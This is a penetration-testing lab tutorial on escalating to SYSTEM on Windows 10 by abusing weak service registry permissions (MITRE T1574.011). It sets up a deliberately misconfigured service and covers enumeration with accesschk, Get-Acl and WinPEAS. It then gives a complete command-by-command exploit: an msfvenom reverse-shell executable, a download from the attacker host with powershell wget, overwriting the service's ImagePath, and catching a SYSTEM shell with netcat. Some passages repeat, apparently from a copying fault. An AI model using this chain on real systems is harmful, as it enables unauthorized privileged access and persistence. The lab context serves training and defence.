ℹ️
Microsoft Windows offers fine-grained permissions for controlling access to services, files, and registry entries. Exploiting Weak Registry Permissions is one technique used to escalate privileges — classified under Mitre ATT&CK as T1574.011, Tactics: Privilege Escalation & Persistence, Platform: Windows.
📖
Introduction — Windows Registry
The Windows Registry is a system-defined hierarchical database in which applications and system components store and retrieve configuration data. It contains data critical to the operation of Windows and all services running on it.
Registry Editor allows you to:
→ Locate a subtree, key, subkey, or value
→ Add or delete a subkey or value
→ Change or rename a subkey or value
Data is structured in a tree format. Each node is called a key. Each key can contain both subkeys and data entries called values.
Registry Editor allows you to:
→ Locate a subtree, key, subkey, or value
→ Add or delete a subkey or value
→ Change or rename a subkey or value
Data is structured in a tree format. Each node is called a key. Each key can contain both subkeys and data entries called values.
🗄️
Registry Hives
A hive is a logical group of keys, subkeys, and values that has a set of supporting files loaded into memory when the OS starts or a user logs in. Each new user login creates a new hive under
HKEY_USERS. Supporting files are stored in %SystemRoot%\System32\Config.
| Registry Hive | Supporting Files |
|---|---|
| HKEY_CURRENT_CONFIG | System, System.alt, System.log, System.sav |
| HKEY_CURRENT_USER | Ntuser.dat, Ntuser.dat.log |
| HKEY_LOCAL_MACHINE\SAM | Sam, Sam.log, Sam.sav |
| HKEY_LOCAL_MACHINE\Security | Security, Security.log, Security.sav |
| HKEY_LOCAL_MACHINE\Software | Software, Software.log, Software.sav |
| HKEY_LOCAL_MACHINE\System | System, System.alt, System.log, System.sav |
| HKEY_USERS\.DEFAULT | Default, Default.log, Default.sav |
⚠️
Weak Registry Permission — The Attack
By hijacking Registry entries used by services, attackers can run malicious payloads. Attackers exploit weaknesses in registry permissions to divert the service's ImagePath from the legitimate executable to one they control — executing their payload with the service's privilege level (often NT AUTHORITY\SYSTEM) upon service start or restart.
Lab Setup
Creating a Vulnerable Service
Steps to set up the lab environment with a deliberately misconfigured service registry key.
🔧
Prerequisites: Target Machine — Windows 10 | Attacker Machine — Kali Linux |
Tools — SubinACL, PowerUP.ps1, WinPEAS |
Condition — Initial foothold on the target with low-privilege access (Metasploit, Netcat, etc.) |
Objective — Escalate to NT AUTHORITY\SYSTEM
01
Create the Pentest Service
Run CMD as Administrator and execute the command below to create a service named Pentest pointing to a binary in
C:\temp.sc.exe create pentest binPath= "C:\temp\service.exe"
02
Assign Weak Permissions Using SubinACL
Download SubinACL (a Microsoft command-line tool for managing security permissions on files, folders, registry keys, services, etc.). Then grant PTO permissions (pause/continue, start, stop) to the target user against the Pentest service — making its registry key modifiable by a low-privilege user.
cd C:\Program Files (x86)\Windows Resource Kits\Tools
subinacl.exe /service pentest /grant=msedgewin10\ignite=PTO
03
Set Full Control on Authenticated Users (via Registry Editor)
Windows stores local service configuration in the Registry under
Navigate to HKLM\SYSTEM\CurrentControlSet\Services\pentest → Right-click → Permissions → Select Authenticated Users → Enable Full Control → Apply & OK.
This grants any authenticated user on the machine the ability to modify the service's registry key — including its
HKLM\SYSTEM\CurrentControlSet\Services.Navigate to HKLM\SYSTEM\CurrentControlSet\Services\pentest → Right-click → Permissions → Select Authenticated Users → Enable Full Control → Apply & OK.
This grants any authenticated user on the machine the ability to modify the service's registry key — including its
ImagePath.
Exploitation
Abusing Weak Registry Services
Three enumeration methods and the full exploitation chain to achieve SYSTEM.
01
Enumerate via Accesschk.exe (Sysinternals)
After gaining an initial foothold, set up a listener on the attacker machine, then use
accesschk.exe to query service registry key permissions for authenticated users. A result of KEY_ALL_ACCESS on a service registry key confirms the vulnerability.
# Attacker — start listener:
nc -lvp 1245
# Victim — enumerate registry key permissions:
accesschk.exe /accepteula "authenticated users" -kvuqsw hklm\System\CurrentControlSet\services
Look for entries showing
RW or KEY_ALL_ACCESS — this confirms the authenticated user has full write access to that service's registry key. The Pentest service will appear with this access level.
02
Enumerate via PowerShell (Get-Acl)
Use PowerShell to check the Access Control List (ACL) on the service registry key. Confirm the current user has Full Control.
# Query the service registry values (confirm ImagePath):
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pentest
# Check ACL via PowerShell:
powershell
Get-Acl -Path HKLM:\SYSTEM\CurrentControlSet\Services\pentest | fl
The output should show:
NT AUTHORITY\Authenticated Users Allow FullControl — confirming the vulnerability. Note the current ImagePath value (e.g. C:\temp\service.exe).
03
Enumerate via WinPEASx64 (Automated)
WinPEAS is an automated post-exploitation enumeration script. It detects weak service registry permissions automatically and highlights them in the output. Look for entries under the "Check if you can modify any service registry" section:
HKLM\system\currentcontrolset\services\pentest (Authenticated Users [FullControl])
# Run WinPEAS on the target:
.\winPEASx64.exe
04
Create a Malicious Reverse Shell Executable
On the attacker machine, use
msfvenom to generate a reverse shell payload, then serve it via a Python HTTP server so the victim machine can download it.
# Generate the reverse shell payload:
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=8888 -f exe > shell.exe
# Serve it over HTTP:
python -m SimpleHTTPServer 80
05
Download Payload & Hijack the Service ImagePath
On the victim machine, download the shell, then modify the service's
ImagePath registry value to point to the malicious executable. When the service starts, it will execute the payload instead of the legitimate binary.
# On the victim machine:
cd c:\Users\Public
powershell wget http://192.168.1.3/shell.exe -o shell.exe
# Overwrite the ImagePath registry value:
reg add "HKLM\system\currentcontrolset\services\pentest" /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\Public\shell.exe" /f
# Start the service to trigger the payload:
net start pentest
06
Catch the SYSTEM Shell
On the attacker machine, start a listener on port 8888. As soon as the service starts, the reverse connection comes in and
whoami confirms NT AUTHORITY\SYSTEM.
# Attacker — catch the reverse shell:
nc -lvp 8888
# Confirm privilege level:
whoami
# nt authority\system
🎯
Result: When the service starts or is restarted, the attacker-controlled executable runs under the service's account context — typically NT AUTHORITY\SYSTEM, LocalSystem, LocalService, or NetworkService. This achieves both privilege escalation and persistence, as the payload runs every time the service starts.